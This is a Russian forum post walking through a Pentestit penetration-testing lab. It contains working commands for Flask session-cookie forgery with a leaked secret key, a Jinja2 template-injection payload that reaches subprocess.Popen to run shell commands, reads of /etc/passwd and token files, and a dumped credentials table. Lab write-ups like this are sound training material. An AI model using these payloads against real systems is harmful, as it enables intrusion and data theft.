| clevergod |
12.01.2019 22:31 |
Последний и самый не простой рывок в сторону коллекционирования оставщихся 3 токенов.
Глубоко вздохнули и погнали...
API Token
Натыкаемся еще на один упущенный айпишник: 172.16.2.16
Bash:
Код:
Starting Nmap
7.70
(
https://nmap.org
)
at
2019
-01-06 02:04 Oaio?aeuiay Acey
(
ceia
)
Nmap scan report
for
172.16
.2.16
Host is up
(
0
.20s latency
)
.
Not shown:
999
filtered ports
PORT STATE SERVICE
8000
/tcp
open
http-alt
Nmap done:
1
IP address
(
1
host
up
)
scanned
in
197.34
seconds
https://forum.antichat.xyz/attachmen...0e0fb0ab57.png
Думаем, что можно сделать.
Bash:
Код:
.
\
dirsearch.py -u http://172.16.2.16:8000 -e php,txt,bak,json,html,log,conf,cfg,ini,xls,doc,phtml -x
301,403
,503,302 --random-agent
_
|
.
_ _ _ _ _ _
|
_ v0.3.8
(
_
||
|
_
)
(
/_
(
_
||
(
_
|
)
Extensions: php, txt, bak, json, html, log, conf, cfg, ini, xls, doc, phtml
|
Threads:
10
|
Wordlist size:
10148
Target: http://172.16.2.16:8000
[
02:51:29
]
Starting:
[
02:53:16
]
405
- 178B - /auth
[
02:54:56
]
405
- 178B - /search
Task Completed
Нашли 2 странички: auth и search в 405 ошибке...
https://forum.antichat.xyz/attachmen...e36eee2861.png
Bash:
Код:
curl
-o-
'http://172.16.2.16:8000/auth'
405
Method Not Allowed
Method Not Allowed
The method is not allowed
for
the requested URL.
https://forum.antichat.xyz/attachmen...0fe46ff633.png
Bash:
Код:
curl
-o-
'http://172.16.2.16:8000/search'
curl:
(
7
)
Failed to connect to
172.16
.2.16 port
8000
: Connection refused
Странно, что ответ получаем разный, возможно сетка в очередной раз захлебывается.
Не забываем использовать все подручные инструменты (мне иногда сподручнее Acunetix Tools)
https://forum.antichat.xyz/attachmen...3bc6c87bc5.png
Нам нужен ключик лицензии (русский язык все же не всю суть отражает). Будем искать.
Есть неплохая мысль которую сгенерил на днях Кайрат- нужно играть с куками. Мне кажется, что на хосте my.test.lab есть еще что-то, чего мы не видели. Нам в итоге не удалось раскрутить SSTI на RCE в браузере, но можем пробовать под админом зайти или использовать куки.
Для работы с кукарями пользуйтесь лисой ( Mozilla Firefox) - F12 - сеть или расширение к лисе еще можете бурпом или плагином для иного браузера.
https://forum.antichat.xyz/attachmen...e900d87d0e.png
скриптом noraj/flask-session-cookie-manager :
Bash:
Код:
python2 session_cookie_manager.py encode -s
'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg=='
-t
'{"role": u"admin"}'
ну или
Bash:
Код:
python2 session_cookie_manager.py encode -s
'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg=='
-t
'{"role": u"asd"}'
и вставим в результат:
https://forum.antichat.xyz/attachmen...535fefbd0e.png
и мы получили ключики:
https://forum.antichat.xyz/attachmen...420f037b71.png
Бежим немедленно на API сервис вставлять их, но перед нами встает большая загадка, как вставить ключики в
Код:
http://172.16.2.16:8000/auth
POST запросами и другими не выходит.
А еще мы понимаем, что в куках есть SSTI уязвимость:
https://forum.antichat.xyz/attachmen...18819ca20d.png
хз как, но ваф блочит тэг и как его обойти пока что загадка...
Кайра пробился в куки:
По этой статье https://github.com/swisskyrepo/PayloadsAllTheThings ищем Jinja2 - Remote Code Execution via reverse shell и находим, что с помощью
Код:
''.__class__.__mro__[1].__subclasses__()
посмотреть все подключенные классы.[/B]
Bash:
Код:
python2 session_cookie_manager.py encode -s
'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg=='
-t
'{"role": u"{{ \"\".__class__.__mro__[1].__subclasses__() }}"}'
Подставляем вывод в куки и видим:
https://forum.antichat.xyz/attachmen...f0fda64738.png
Далее дампим вывод в файл и ищем индекс интересных библиотек.
(find.py)
Цитата:
import sys
a = []
with open('tr.txt') as f:
f = f.read().split(', ')
for l in f:
l = l.strip()
a += [l]
for x in a:
if sys.argv[1] in x:
print x, a.index(x)
|
Вывод:
Bash:
Код:
python find.py
open
248
413
Видим, что у нас есть subprocess.Popen значит можем сделать RCE. Для начала, запишем команду вывода/etc/passwd в конфиг и включим его в глобальный конфиг:
Bash:
Код:
python2 session_cookie_manager.py encode -s
'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg=='
-t
'{"role": u"{{ \"\".__class__.__mro__[1].__subclasses__()[413](\"echo \\\"MY_ETC_PWD=open(\\\\\\\"/etc/passwd\\\\\\\").read()\\\" > /tmp/drrr123.cfg\", shell=True) }}"}'
Подставляем куки, и видим что процесс выполнился:
https://forum.antichat.xyz/attachmen...ee7f2e28e4.png
Попробуем включить конфиг:
Код:
{{ config.from_pyfile('/tmp/drrr123.cfg') }}
Пробуем обратится к нашему параметру,
Код:
{{config["MY_ETC_PWD"]}}
и вуаля RCE!
https://forum.antichat.xyz/attachmen...1c3216b556.png
Видим юзера flask-api:x:1001:1001::/var/www/api:/bin/false и пробуем посмотреть его файлы:
Bash:
Код:
python2 session_cookie_manager.py encode -s
'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg=='
-t
'{"role": u"{{ \"\".__class__.__mro__[1].__subclasses__()[413](\"echo \\\"import os;MY_OS_LIST_DIR=os.listdir(\\\\\\\"/var/www/api/\\\\\\\")\\\" > /tmp/drrr124.cfg\", shell=True) }}"}'
В дело включился cutoffurmind и пробился благодаря статье Python: List Files in a Directory
Bash:
Код:
import
os MY_BLA
=
os.listdir
(
'.'
)
https://forum.antichat.xyz/attachmen...b8d7751cfd.png
Цитата:
'MY_LIST_FILES': ['templates', 'venv', '.bash_history', 'site.ini', 'requirements.txt', 'site.sock', 'README.md', '.viminfo', 'decode_cookie.py', '__pycache__', 'app.py', 'static'],
|
Идеально!
Дальше рыскаем по серваку, что там еще есть.
https://forum.antichat.xyz/attachmen...50a1e5e921.png
Цитата:
<Config {&//39;MY_OPEN': &//39;root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13roxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false\nsystemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false\nsystemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false\nsystemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false\nDebian-exim:x:104:109::/var/spool/exim4:/bin/false\nmessagebus:x:105:110::/var/run/dbus:/bin/false\nstatd:x:106:65534::/var/lib/nfs:/bin/false\nsshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin\n_apt:x:108:65534::/nonexistent:/bin/false\nnginx:x:109:113:nginx user,,,:/nonexistent:/bin/false\nflask-site:x:1000:1000::/var/www/site:/bin/false\nflask-api:x:1001:1001::/var/www/api:/bin/false\n', 'PROPAGATE_EXCEPTIONS': None, 'TESTING': False, 'JSON_SORT_KEYS': True, 'MY_OS': <built-in function system>, 'APPLICATION_ROOT': '/', 'MY_LIST_FILES6': ['pyvenv.cfg', 'lib64', 'include', 'bin', 'lib', 'share'], 'SESSION_REFRESH_EACH_REQUEST': True, 'MY_OUT_READ': 'hello test\n', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'DEBUG': False, 'USE_X_SENDFILE': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'SESSION_COOKIE_SAMESITE': None, 'SESSION_COOKIE_HTTPONLY': True, 'MAX_COOKIE_SIZE': 4093, 'JSONIFY_MIMETYPE': 'application/json', 'TRAP_HTTP_EXCEPTIONS': False, 'ENV': 'production', 'MY_SUB': b'', 'SESSION_COOKIE_DOMAIN': False, 'MY_OOUT': 'hello test\n', 'MAX_CONTENT_LENGTH': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_NAME': 'session', 'TEMPLATES_AUTO_RELOAD': None, 'MY_TEST': 'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13roxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false\nsystemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false\nsystemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false\nsystemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false\nDebian-exim:x:104:109::/var/spool/exim4:/bin/false\nmessagebus:x:105:110::/var/run/dbus:/bin/false\nstatd:x:106:65534::/var/lib/nfs:/bin/false\nsshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin\n_apt:x:108:65534::/nonexistent:/bin/false\nnginx:x:109:113:nginx user,,,:/nonexistent:/bin/false\nflask-site:x:1000:1000::/var/www/site:/bin/false\nflask-api:x:1001:1001::/var/www/api:/bin/false\n', 'SESSION_COOKIE_SECURE': False, 'JSON_AS_ASCII': True, 'PREFERRED_URL_SCHEME': 'http', 'SECRET_KEY': 'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg==', 'TMP_OPEN': '', 'MY_OUT_READ3': '', 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'SERVER_NAME': None, 'MY_LIST_FILES': ['templates', 'venv', '.bash_history', 'site.ini', 'requirements.txt', 'site.sock', 'README.md', '.viminfo', 'decode_cookie.py', '__pycache__', 'app.py', 'static'], 'MY_OUT_READ2': 'hello test\n', 'MY_BASH_API': 'psq\npwd\nls\nrm -rf venv\nls\nls -la\npython3 -m venv venv\n. venv/bin/activate\npip install -r requirements.txt \necho $http_proxy\ncat /etc/apt/apt.conf\nexport http_proxy="http://192.168.56.3:3128"\nexport https_proxy="http://192.168.56.3:3128"\npip install -r requirements.txt \nvim /etc/nginx/conf.d/site.conf \nls\ntouch site.sock\ndeactivate \nls\n. venv/bin/activate\npip install uwsgi\nexport http_proxy="http://192.168.56.3:3128"\nexport https_proxy="http://192.168.56.3:3128"\npip install uwsgi\nuwsgi\n'}>
|
Прокся? это интересно, но видимо не для нас.
Снова подгружаем наш конфиг, и пробуем обратиться к нашей переменной. Крутяк, нашли файл токен
https://forum.antichat.xyz/attachmen...288faef8e9.png
Теперь прочитаем:
Bash:
Код:
python2 session_cookie_manager.py encode -s
'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg=='
-t
'{"role": u"{{ \"\".__class__.__mro__[1].__subclasses__()[413](\"echo \\\"MY_API_READED=open(\\\\\\\"/var/www/api/token.txt\\\\\\\").read()\\\" > /tmp/drrr125.cfg\", shell=True) }}"}'
Снова подгружаем наш конфиг, и пробуем обратиться к нашей переменной.
Задание выполнено и флаг у нас:
https://forum.antichat.xyz/attachmen...da01f4ef13.png
Tips - ищите токен, он в
Код:
/var/www/api/token.txt
Меня лично к этому жизнь не готовила, забираю свои слова - этот токен был намного сложнее всех тех, которые мы уже взяли...
https://forum.antichat.xyz/attachmen...058cc9a399.png
________________________________________
У нас осталось 2 токена: Admin и Image
________________________________________
ADMIN Token
Заблудился где-то на уровне хоста 172.16.1.25, который так и называется admin.test.lab, но для коннекта по SSH нужен ключик, мы его нашли но пока коннект не обеспечен. Есть мысли, что этот хост судя по найденным данным в SIEM имеет клиента для сием, может через него попробовать подрубиться или запросами получить данные, а может ранее найденные сертификаты на хостах с SSH и есть ключ к которому нужно сделать пару. Еще будем пробовать найти зацепки на хосте my.test.lab...
Пробуя найти информацию на хосте my.test.lab используя RCEчерез куки, нашли много информации, пытались ее вытаскивать, но как Вы понимаете без прямого доступа постоянно формируя куки - это сравни безумия.
Кайрат вытащил все таки эту api.db:
Код:
http://my.test.lab/?q={{config["MY_APP"]}}
https://forum.antichat.xyz/attachmen...399a80df6b.png
Вытащил таблицы:
https://forum.antichat.xyz/attachmen...b4e278c38d.png
Bash:
Код:
sqlite
>
.tables
alembic_version user
sqlite
>
select
* from user
;
1
|
user1
|
z8ld5F9DPyomobF9U6mmG0c5EvsMsmOY
|
xQfnwpmfSunRXdgz63UVwgDnFSbFPFCY
2
|
admin
|
PasswordForValidation__fk3n5fcaa
|
sstQrqwhjA84GWvVOAzKH8cD1xfMdfaH
3
|
user3
|
eN5tT6IqYqT2KI7yMqIPUpjvh2MeZgR4
|
XsKmbCs55LlGcOr7rzsYT2EQuNPcvLBN
4
|
user4
|
IK1rXC0dL6vQzj59z8OmXYWuHkO8yih7
|
pVhB854TZHSqjtI32UwRSgRyRIFj5siG
sqlite
>
select
* from alembic_version
..
.
>
;
sqlite
>
Нашли скрипт api.run.py, в котором находим интересные строки:
Цитата:
def init_data():
token_list = list() //для предоставления токена в JSON API
pkey_list = list() //для предоставления pkey в куках
|
Цитата:
//Создание листа токенов
t = open('token.txt', 'w')
for i in range(5): //всего 5 пользователей
new_token = ''.join([random.choice(string.ascii_letters + string.digits) for n in range(32)])
token_list.append(new_token)
t.write(str(new_token)+'\n')
//Создание pkey для кук
for i in range(5):
new_pkey = ''.join([random.choice(string.ascii_letters + string.digits) for n in range(32)])
pkey_list.append(new_pkey)
// username - token - pkey
users = [
('user1', token_list[1], 'xQfnwpmfSunRXdgz63UVwgDnFSbFPFCY'),
('admin', 'PasswordForValidation__fk3n5fcaa', pkey_list[0]),
('user3', token_list[2], 'XsKmbCs55LlGcOr7rzsYT2EQuNPcvLBN'),
('user4', token_list[3], 'pVhB854TZHSqjtI32UwRSgRyRIFj5siG'),
]
//Внесение данных в БД
conn = connect_db()
cur = conn.cursor()
cur.executemany('INSERT INTO `user` VALUES(NULL,?,?,?)', users)
conn.commit()
conn.close()
|
И тут, снова, Кайрат выдает нам сюрприз:
https://forum.antichat.xyz/attachmen...8676da5793.png
В коде просят токен в качестве куки, и если токен от админа качается файл:
https://forum.antichat.xyz/attachmen...d2be316390.png
Bash:
[CODE]
curl
-X POST -v -b
'token=PasswordForValidation__fk3n5fcaa'
172.16
.2.16:8000/search -o token.gz
* Trying
172.16
.2.16
..
.
* TCP_NODELAY
set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0
0
0
0
0
0
0
0
--:--:-- --:--:-- --:--:--
0
* Connected to
172.16
.2.16
(
172.16
.2.16
)
port
8000
(
0
)
>
POST /search HTTP/1.1
>
Host:
172.16
.2.16:8000
>
User-Agent: curl/7.62.0
>
Accept: */*
>
Cookie:
token
=
PasswordForValidation__fk3n5fcaa
>
0
0
0
0
0
0
0
0
--:--:--
0
:00:04 --:--:--
0 черные, черные -> трэш и заполняем, а потом HEX...
Вот вывод одного из кодированных изображений такой:
https://forum.antichat.xyz/attachmen...ef5c689ba7.png
Делаем чистку и получаем:
https://forum.antichat.xyz/attachmen...185e2d8216.png
Брюки превращаются:
Цитата:
#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg ▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒ ▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒ #Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg ▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒ ▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒ #Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg ▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒ ▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒ #Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg ▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒ ▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒ #Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg ▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒ ▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒ #Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg ▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒ ▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒ #Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg ▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒ ▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒ #Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg ▒▒▒#Eg▒▒▒▒#Eg▒▒
|
https://forum.antichat.xyz/attachmen...ea0f4ce105.png
Немного по играясь скажу - что мы и Вы на верном пути, токен ТУТ, он где-то рядом! Автор скрипта очень хороший и отзывчивый d3cartкоторый делал его по наводкам нашего очень хорошего товарища и форумчанина взявшего 2 место в лабаратории @BadBlackHat да и скрипт не дам, не просите!
https://forum.antichat.xyz/attachmen...e3e8f3d7c7.png
https://forum.antichat.xyz/attachmen...dff098b21d.png
https://forum.antichat.xyz/attachmen...e36c0ca5d0.png
________________________________________
Заключение:
В целом я очень доволен нашим результатом, меньше месяца и мы победили ее, я завершил последний токен 14-м!
Хочу пожелать организаторам никогда не останавливать эту пищу для мозга, которая так нужна всем молодым и растущим безопасникам, аналогов которой нет в просторах интернета, за что команде Pentestit спасибо! Но я бы хотел конечно видеть в личном кабинете хотя-бы занимаемое место.
Так же, хотел отметить, что неважно насколько Вы считаете себя умным или наоборот, помните - только команда специалистов может привести к верному результату, ведь Вы никогда не будете подготовлены во всех областях сразу. Как и команда из Codeby взявшая 2-5 места, мы и наши новые друзья с России, Казахстана, Белоруссии только сплочившись нашли различные варианты решений имея разные взгляды на задачи. Еще раз большое спасибо 3n.do, cutoffurmind, Кайрат, d3cart,bin0nim4rk,ну и конечно же взявшему второе место BadBlackHat, с которым познакомились уже по завершению лабаратории. Все ребята проявили отзывчивость, умение работать в комманде и целеустремленность, низкий Вам поклон !!!
Ну и Вам, кто дочитал все эти умозаключения до конца большое спасибо, растите умственно, становитесь безопаснее с нами... да и совсем забыл, Соблюдайте законодательство, никогда не используйте свои навыки во вред и злонамеренно и эта статья лишь прохождение лабораторной работы и написана для ознакомления. Надеюсь Вам понравилось прохождение и разбор всех тасков и Вы отблагодарите меня за старания и труд
Ну и напоследок, не думайте, что это так сложно, как Выучить C++ за 21 день. Всегда стремитесь и Вас всегда будет ждать успех!
https://forum.antichat.xyz/attachmen...8dda4787a5.png
Статья взята сhttps://securixy.kz
|